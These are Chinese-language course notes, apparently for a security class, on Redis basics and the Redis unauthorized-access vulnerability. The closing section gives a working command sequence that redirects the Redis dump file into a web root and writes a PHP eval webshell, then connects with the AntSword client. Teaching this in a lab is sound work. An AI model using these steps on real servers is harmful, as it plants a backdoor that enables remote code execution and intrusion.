13-Redis未授权访问漏洞

1、环境准备(文件夹有课件资料+笔记)

1.1 Redis安装及命令

Redis 非关系型数据库
key - value
键与值，键是字符串，值支持很多类型，值中还可以是哈希(保存新的键值对)

最常用的命令：set、get
netstat -an|grep 6379 #检查端口
./redis-cli
keys * #查看数据
flushall #清空数据
set xmh 666
get xmh
hset hash 1 a 2 b 3 c 4 d
hget hash 1 #"a"
hget hash 3 #"c"

添加alias变量，在root下的.bashrc
cd ~/.bashrc
source ~/.bashrc
然后打开新的窗口生效！
netstat -an|grep 6379 #检查端口

启动
./redis-server /path/to/redis.conf
停止
redis> shutdown 或 ps -aux | grep redis; kill -9 xxxx
远程连接
./redis-cli -h 192.168.xxx.xxx -p 6379

1.2 持久化机制

我们之前提到的Redis是一个纯内存的数据库，这是Redis访问那么快的根本原因，但是你的数据如果只保存在内存中，一旦服务器断电或重启，内存一清空，你的数据不就也跟着清空了吗？那这样可靠性也太低了吧，所以Redis的作者就想了一个办法，通过Redis持久化机制来保证内存数据不定期的保存到磁盘之中。

两种方式，一种自动(配置文件)，一种手动(save)！
打开配置文件的SNAPSHOTTING部分

1.3 动态修改配置

什么叫做Redis动态修改配置呢？本来我们修改Redis配置文件都要在redis.conf这个文件中去修改的，但是redis我们提供了一种动态修改配置的方式。

我们可以通过config set 去修改配置文件，但是修改后的配置文件只在当前会话中生效，也就是说当你重启服务后动态修改的配置都会失效的。

2、提权实战

Redis未授权访问漏洞(二)Webshell提权篇

2.1 webshell提权案例

redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save
使用中国蚁剑连接！